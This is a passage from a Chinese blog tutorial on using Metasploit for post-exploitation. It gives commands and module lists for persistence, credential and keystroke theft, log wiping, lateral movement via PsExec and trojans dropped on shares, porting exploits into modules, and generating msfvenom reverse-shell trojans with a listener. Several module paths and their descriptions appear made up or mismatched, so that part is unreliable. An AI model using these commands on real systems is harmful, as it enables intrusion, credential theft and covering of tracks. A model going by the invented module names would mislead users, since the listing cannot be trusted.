使用 Bash 配置文件实现隐形持久化post/linux/manage/bash_profile_persistence
通过 Kernel Module 实现持久化post/linux/manage/kernel_module_persistence
Windows 权限持久化模块
模块名称模块路径
服务创建sc create "UpdateService" binPath="C:\backdoor.exe" start=auto
创建恶意服务post/windows/manage/persistence_service
创建启动项post/windows/manage/persistence_exe
创建注册表启动项post/windows/manage/registry_persistence
注册表启动项exploit/windows/local/persistence
创建计划任务post/windows/manage/scheduled_task
创建磁盘隐藏 (卷影机制持久化)post/windows/manage/volume_shadow_copy
创建隐藏账户post/windows/manage/add_user
转储并劫持令牌用于持久化post/windows/manage/sticky_keys
停止 UAC 提高权限后持久 (关闭 UAC)post/windows/manage/disable_uac
使用 DLL 注入实现持久化post/windows/manage/dll_inject_persistence
使用挂钩键盘的方式持久化post/windows/manage/keyboard_hook

4.4、数据窃取

• 键盘记录:keyscan_start(开始记录)、keyscan_dump(查看记录)。
• 屏幕截图:screengrab

Windows 数据窃取模块
模块名称模块路径
收集 Windows 凭证 (Mimikatz)post/windows/gather/credentials/mimikatz
截取屏幕 (屏幕截图)post/windows/manage/screen_spy
抓取 Windows 密码散列post/windows/gather/smart_hashdump
Chrome 密码收集post/windows/gather/credentials/chrome
Firefox 密码收集post/firefox/gather/credentials
Outlook 邮件账户收集post/windows/gather/credentials/outlook
收集 Wi-Fi 配置信息post/windows/gather/credentials/wifi
抓取 NTFS 文件详细信息post/windows/gather/ntfs_enum
抓取本地注册表信息post/windows/gather/enum_registry
Dump LSASS 进程 (凭证提取)post/windows/gather/lsass_dump
执行 Keystroke 捕获 (按键记录器)post/windows/capture/keylog_recorder
抓取密码哈希(需要加载kiwi模块)post/windows/gather/hashdump
Linux 数据窃取模块
模块名称模块路径
提取 SSH 私钥 (SSH 密钥抓取)post/linux/gather/ssh_private_keys
截取屏幕 (Linux 桌面屏幕截图)post/linux/manage/screenshot
抓取 Shadow 文件(密码散列提取)post/linux/gather/hashdump
收集用户环境变量post/linux/gather/env
Chrome 浏览器数据窃取post/linux/gather/credentials/chrome
提取 Bash 历史记录post/linux/gather/bash_history
安装并加载键盘记录器post/linux/capture/keylog_recorder
收集网络配置 (例如网卡配置、IP 地址等)post/linux/gather/network_config
收集 SYSTEMD 日志信息post/linux/gather/system_logs
收集 Apache 日志信息post/linux/gather/apache_logs
Collect Cron 作业内容post/linux/gather/cron_jobs

4.5、痕迹清理

清空Windows事件日志:

  clearev

删除临时文件:

  rm <文件路径>
Linux 痕迹清理模块
模块名称模块路径
删除系统日志post/linux/manage/clear_system_logs
删除 Bash 历史记录post/linux/manage/clear_bash_history
清空 Cron 作业记录post/linux/manage/clear_cron_jobs
删除特定文件或目录post/linux/manage/remove_files
清理SSH日志post/linux/manage/ssh_authorized_keys
删除 SSH 访问痕迹post/linux/manage/clear_ssh_logs
清理系统缓存文件post/linux/manage/clear_temp_files
删除用户最近活动记录post/linux/manage/clear_user_history
隐藏文件或目录post/linux/manage/hide_files
Windows 痕迹清理模块
模块名称模块路径
清除事件日志post/windows/manage/clearev
清理事件日志post/windows/manage/clear_event_logs
删除系统 Restore Pointpost/windows/manage/remove_restore_points
清理剪贴板内容post/windows/manage/clear_clipboard
删除注册表项post/windows/manage/delete_registry_key
清空回收站post/windows/manage/empty_recycle_bin
删除恶意服务post/windows/manage/delete_service
清理磁盘中的临时文件post/windows/manage/delete_temp_files
删除计划任务post/windows/manage/delete_scheduled_task
隐藏或删除特定文件或目录post/windows/manage/hide_files

5、内网横移

5.1 获取内网信息

  • 内网扫描:
    在获得边界服务器会话后,添加路由以辨别内网结构:
  run autoroute -s <目标网段>
  • 扫描内网开放的共享文件夹:
  use auxiliary/scanner/smb/smb_enumshares
  set RHOSTS <目标子网>
  run

5.2 横向移动

  • 利用PsExec攻击其他主机:
  use exploit/windows/smb/psexec
  set SMBUser <用户名>
  set SMBPass <密码>
  set RHOSTS <目标IP>
  run
  • 利用共享文件夹传播木马:
    使用msfvenom生成Payload并上传到共享文件夹:
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<端口> -f exe -o malware.exe
  upload malware.exe <共享文件路径>

Linux 内网横移模块

模块名称模块路径
利用 SSH 横移auxiliary/scanner/ssh/ssh_login
利用 Telnet 横移auxiliary/scanner/telnet/telnet_login
利用 Cron 进行自动化横移post/linux/manage/cron_job_creation
利用 NFS 服务横移auxiliary/scanner/nfs/nfs_mount
利用远程共享目录枚举横移目标post/linux/gather/shares_enum
利用 SSH Key 文件进行横移post/linux/gather/ssh_auth_keys
利用 Sudo 缺陷实现横移post/linux/manage/escalate_with_sudo
利用 RPC 横移auxiliary/scanner/nfs/nfs_rpc_statd
利用 ShellShock 漏洞横移exploit/multi/http/bash_env_exec
利用 Samba 服务横移exploit/multi/samba/usermap_script

Windows 内网横移模块

模块名称模块路径
使用令牌窃取进行横移post/windows/gather/credentials/mimikatz_token_impersonation
利用 WMI 进行横移post/windows/manage/wmi_remote_execution
利用 PsExec 进行横移exploit/windows/smb/psexec
Pass-the-Hashexploit/windows/smb/psexec_psh
利用 Remote Desktop (RDP) 横移post/windows/manage/rdp_connect
利用 SMB 服务进行横移exploit/windows/smb/smb_relay
利用 Windows 管理员共享进行横移exploit/windows/smb/smb_login
利用远程注册表枚举横移目标post/windows/gather/enum_reg
使用 Empire 代理通过 Windows 横移post/multi/manage/http_comm_persistence
使用 MS SQL 横移auxiliary/admin/mssql/mssql_sql
利用 Powershell 进行横移post/windows/manage/powershell_exec

3、自建MSF模块

6.1 移植第三方漏洞 POC为MSF模块

MSF支持用户移植外部漏洞利用代码。

查找第三方漏洞 POC

Exploit-DB 通过searchsploit命令搜索漏洞利用代码
例如:searchsploit exchange windows remote

转换为MSF模块格式

将第三方漏洞 POC 转化为 Metasploit 模块需要一定的 Ruby 编程经验

步骤 1. 修读并理解 POC

首先你需要完全了解 POC 的工作原理,包括:

  • POC 的攻击目标。
  • 使用的协议(HTTP、SMTP、TCP 等)。
  • 使用的 exploit 技术(缓冲区溢出、注入、文件上传等)。
  • 所需参数(如目标地址、端口号、攻击载荷等)。

步骤 2. 确定漏洞攻击面

分析漏洞的各项参数,确定以下内容:

  • 是否需要身份认证:漏洞攻击是否需要敏感信息(例如用户名、密码)。
  • 传输协议与端口:确定通信的协议以及目标的端口号(例如 HTTP 的80或443端口)。
  • 目标的响应:明确攻击成功后目标设备的行为,比如返回的 Exploit 字符串或 Shell。

有了这些分析之后,可以将 POC 转化为 Metasploit 模块所需的逻辑。

步骤 3. 选择合适的模块

Metasploit 中的模块类型如下:

  • Exploit 模块:主要用于漏洞利用。
  • Auxiliary 模块:用于信息收集或辅助攻击。
  • Payload 模块:设计攻击载荷以实现后续控制。
  • Post 模块:在目标系统取得初步访问权后进行后利用操作。

通常,漏洞利用 POC 转换为 MSF 模块时,需要明确它的类型:

  • 如果是直接攻击的代码,可以转换为 Exploit 模块
  • 如果是信息收集工具(如探测漏洞状态),可能转换为 Auxiliary 模块

步骤 4. 编写 Metasploit 模块

Metasploit 的模块是基于 Ruby 编写的。以下是创建一个基本 Exploit 模块的大致模板。

模块基础代码结构:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient  # 根据漏洞涉及的协议选择合适的模块

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '模块名称',
      'Description'    => %q{
        模块描述,指出目标漏洞的性质,来自的 POC,以及利用目标的具体原理。
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['POC 作者', '你自己'],
      'References'     => [
        ['CVE', '漏洞的 CVE ID,例如 CVE-2023-XXXXX'],
        ['URL', 'POC 的来源链接']
      ],
      'Payload'        => {
        'Compat'        => {
          'PayloadType' => 'java/meterpreter/reverse_tcp',  # 目标载荷类型
          'RequiredCmd' => 'generic/shell_reverse_tcp'      # 需要什么命令
        }
      },
      'Platform'       => 'win', # 目标平台
      'Targets'        => [
        ['Windows', { 'Ret' => 0xdeadbeef }]  # 指定目标类型
      ],
      'DefaultTarget'  => 0 # 默认的目标
    ))

    register_options([
      Opt::RPORT(80), # 注册目标端口
      OptString.new('TARGETURI', [true, '路径', '/example/path'])
    ])
  end

  def check
    # 检查是否能利用漏洞,例如通过发送一个请求
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI']
    })

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # 核心漏洞利用代码
    print_status('开始漏洞利用')

    payload_data = Rex::Text.encode_base64(payload.raw)

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{datastore['TARGETURI']}/action",
      'vars_post' => {
        'input' => payload_data
      }
    })

    if res && res.code == 201
      print_good('利用成功!返回:' + res.body)
    else
      fail_with(Failure::Unknown, "漏洞利用失败!返回:" + res.body)
    end
  end
end
模块关键部分分析:
  1. check 函数:用来检查目标是否存在漏洞。
  2. exploit 函数:这是模块的核心部分,你需要将 POC 的代码逻辑移植到这里。
  3. 参数注册:如端口号(RPORT)或路径(TARGETURI)。

步骤 5. 测试模块

  1. 将模块保存到 Metasploit 的自定义模块路径(例如 ~/.msf4/modules/exploits/)。
  2. 在 Metasploit 控制台中运行以下命令:
    msfconsole
    use exploit/模块路径
    show options
    set RHOST <目标地址>
    set RPORT <目标端口>
    run
    
  3. 测试模块是否正常工作。如果模块失败,请分析日志输出并进行调试。

4、MSF生成Payload

MSF的msfvenom工具用于生成各种Payload,例如木马程序。

  • 生成Windows木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe
  • 监听反弹Shell:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.7
set LPORT 4444
exploit

Windows 生成 Payload 模块

模块名称模块路径
生成 Windows Meterpreter 反向 TCP Shellpayload/windows/meterpreter/reverse_tcp
生成 Windows Meterpreter 绑定 TCP Shellpayload/windows/meterpreter/bind_tcp
生成 Windows 普通反向 Shellpayload/windows/shell/reverse_tcp
生成 Windows 普通绑定 Shellpayload/windows/shell/bind_tcp
生成 Windows Staged Meterpreter 反向 HTTPSpayload/windows/meterpreter/reverse_https
生成 Windows Staged Meterpreter 反向 HTTPpayload/windows/meterpreter/reverse_http
生成 Windows Powershell Meterpreterpayload/windows/powershell_reverse_tcp
生成 Windows DLL 注入 Payloadpayload/windows/dllinject/reverse_tcp
生成 Windows VNC 注入 Payloadpayload/windows/vncinject/reverse_tcp

Linux 生成 Payload 模块

模块名称模块路径
生成 Linux Meterpreter 反向 TCP Shellpayload/linux/meterpreter/reverse_tcp
生成 Linux 普通反向 Shellpayload/linux/shell/reverse_tcp
生成 Linux 普通绑定 Shellpayload/linux/shell/bind_tcp
生成 Linux Meterpreter 反向 HTTPS Shellpayload/linux/meterpreter/reverse_https
生成 Linux Meterpreter 绑定 TCP Shellpayload/linux/meterpreter/bind_tcp
生成 Linux ELF 文件 Payloadpayload/linux/x64/meterpreter/reverse_tcp
生成 Linux RFI Payloadpayload/linux/http/meterpreter/reverse_tcp
生成 Linux Python Meterpreterpayload/linux/meterpreter/python/reverse_tcp

Android 生成 Payload 模块

模块名称模块路径
生成 Android APK 文件的 Meterpreter Payloadpayload/android/meterpreter/reverse_tcp
生成 Android Meterpreter HTTP Payloadpayload/android/meterpreter/reverse_http

macOS (OS X) 生成 Payload 模块

模块名称模块路径
生成 macOS Meterpreter 反向 TCP Shellpayload/osx/x64/meterpreter/reverse_tcp
生成 macOS 普通反向 Shellpayload/osx/x64/shell_reverse_tcp

iOS 生成 Payload 模块

模块名称模块路径
生成 iOS Meterpreter 反向 TCP Shellpayload/ios/armle/meterpreter_reverse_tcp

多平台生成 Payload 模块

模块名称模块路径
生成通用 Python Meterpreter Payloadpayload/python/meterpreter/reverse_tcp
生成通用 Java Meterpreter Payloadpayload/java/meterpreter/reverse_tcp
生成通用 PHP Meterpreter Payloadpayload/php/meterpreter/reverse_tcp

反弹 Shell 常用模块列表:

模块名称模块路径
Linux Bash Shell 反弹payload/linux/x86/shell_reverse_tcp
Windows CMD Shell 反弹payload/windows/shell_reverse_tcp
PHP 反弹 Shellpayload/php/meterpreter_reverse_tcp
Python 反弹 Shellpayload/python/meterpreter_reverse_tcp
Java 反弹 Shellpayload/java/meterpreter_reverse_tcp
Windows Meterpreter 反弹payload/windows/meterpreter_reverse_tcp
Linux Meterpreter 反弹payload/linux/x86/meterpreter_reverse_tcp
Android Meterpreter 反弹payload/android/meterpreter_reverse_tcp
Ruby 反弹 Shellpayload/ruby/shell_reverse_tcp
Windows HTTPS 反弹 Shellpayload/windows/meterpreter_reverse_https
NodeJS 反弹 Shellpayload/nodejs/shell_reverse_tcp
Windows DNS 反弹 Shellpayload/windows/meterpreter/reverse_dns
Linux HTTPS 反弹 Shellpayload/linux/x86/meterpreter_reverse_https
ASP 反弹 Shellpayload/windows/meterpreter/reverse_tcp

文章作者:奈幽

文章链接:https://www.nerubian.cn/archives/c6c9ac41-3441-4d20-a431-e4f60ecd6cd6

版权声明:本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0 许可协议,转载请注明出处!

评论已关闭!